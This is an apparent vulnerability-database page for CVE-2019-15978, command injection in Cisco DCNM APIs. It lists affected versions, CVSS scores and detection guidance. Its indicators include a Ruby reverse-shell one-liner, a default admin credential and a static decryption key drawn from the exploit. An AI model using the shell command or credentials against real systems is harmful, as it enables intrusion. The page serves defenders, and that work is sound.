CVE-2019-15978

published 2020-01-06

CVE-2019-15978: Multiple vulnerabilities in the REST and SOAP API endpoints of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker with…

Priority P2 68 high 7.2 CVSS 3.1

AV N AC L PR H UI N S U C H I H A H

EXPLOIT

Multiple vulnerabilities in the REST and SOAP API endpoints of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker with administrative privileges on the DCNM application to inject arbitrary commands on the underlying operating system (OS). For more information about these vulnerabilities, see the Details section of this advisory. Note: The severity of these vulnerabilities is aggravated by the vulnerabilities described in the Cisco Data Center Network Manager Authentication Bypass Vulnerabilities advisory, published simultaneously with this one.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
cisco	cisco_data_center_network_manager	>= unspecified < n/a	n/a
cisco	data_center_network_manager	< 11.3\(1\)	11.3\(1\)
cisco	data_center_network_manager	—	—

Detection & IOCs extracted from sources · hover to see the quote

url https://<target>/serverinfo/HtmlAdaptor?action=displayServerInfos↗

url https://<target>/j_spring_security_check↗

url https://<target>/rest/fabrics↗

command {ruby,-rsocket,-e'c=TCPSocket.new("<ls>","<lp>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print(io.read)}end'}↗

cookie JSESSIONID↗

cookie resttoken↗

path /serverinfo/HtmlAdaptor↗

path /rest/fabrics↗

path /j_spring_security_check↗

• → Alert on HTTP GET requests to /serverinfo/HtmlAdaptor?action=displayServerInfos using HTTP Basic Auth credentials (admin:nbv_12345), which is the credential-leakage step of the exploit. ↗
• → Detect command injection payloads in the 'name' field of JSON bodies sent to /rest/fabrics containing shell metacharacters and ruby reverse-shell patterns (TCPSocket.new). ↗
• → The vulnerability resides in the LanFabricImpl.createLanFabric method; inspect REST API calls to fabric-creation endpoints for unsanitised 'name' parameters. ↗
• → The exploit uses a Blowfish ECB cipher with the static key 'jaas is the way' to decrypt credentials leaked from the server; presence of this key string in memory or traffic is a strong indicator of exploitation tooling. ↗
• → Severity of CVE-2019-15978 is aggravated when chained with the DCNM Authentication Bypass vulnerabilities (published simultaneously); correlate exploitation attempts of both advisory sets. ↗

• · Exploitation requires an authenticated session with administrative privileges on DCNM; however, this requirement is effectively bypassed by chaining with the simultaneously disclosed DCNM Authentication Bypass vulnerabilities. ↗
• · The PoC was tested specifically against DCNM 11.2.1 ISO Virtual Appliance (dcnm-va.11.2.1.iso.zip); verify applicability against other DCNM deployment types and versions. ↗
• · The vulnerability affects both REST and SOAP API endpoints of DCNM; detection coverage should span both API surfaces, not just the REST /rest/fabrics endpoint demonstrated in the PoC. ↗

CVSS provenance

nvd v3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

nvd v3.0 7.2 HIGH CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 9.0 CRITICAL AV:N/AC:L/Au:S/C:C/I:C/A:C

vendor_cisco 7.2 HIGH

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-78